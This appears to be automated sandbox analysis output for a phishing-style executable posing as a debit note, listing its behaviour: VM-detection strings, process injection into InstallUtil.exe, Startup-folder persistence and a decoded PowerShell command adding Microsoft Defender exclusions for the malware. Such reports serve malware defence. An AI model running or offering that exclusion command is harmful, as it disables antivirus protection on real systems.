Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98938s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98578s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98469s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -98110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -97110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -96110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95836s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -95110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -94110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -93985s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\app.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\app.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99101	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98747	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98639	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98520	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98345	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98744	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98592	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96196	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99657
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95836
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93985

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: InstallUtil.exe, 00000008.00000002.2116747862.0000000005052000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
Source: app.exe, 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: wscript.exe, 0000000E.00000002.1954995345.00000230EE993000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: app.exe, 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1921557983.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: app.exe, 0000000F.00000002.2158748200.0000000000D93000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000013.00000002.2945088256.0000000005996000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00F8E137 rdtsc

4_2_00F8E137

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\app.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\app.exe
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\jones\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe;Add-MpPreference -ExclusionPath C:\Users\jones\AppData\Roaming\app.exe; Add-MpPreference -ExclusionProcess C:\Users\jones\AppData\Roaming\app.exe			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7B0000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7B0000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7B2000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7EC000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7EE000	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 4C5008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 722000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 75C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 75E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 5D5008	Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
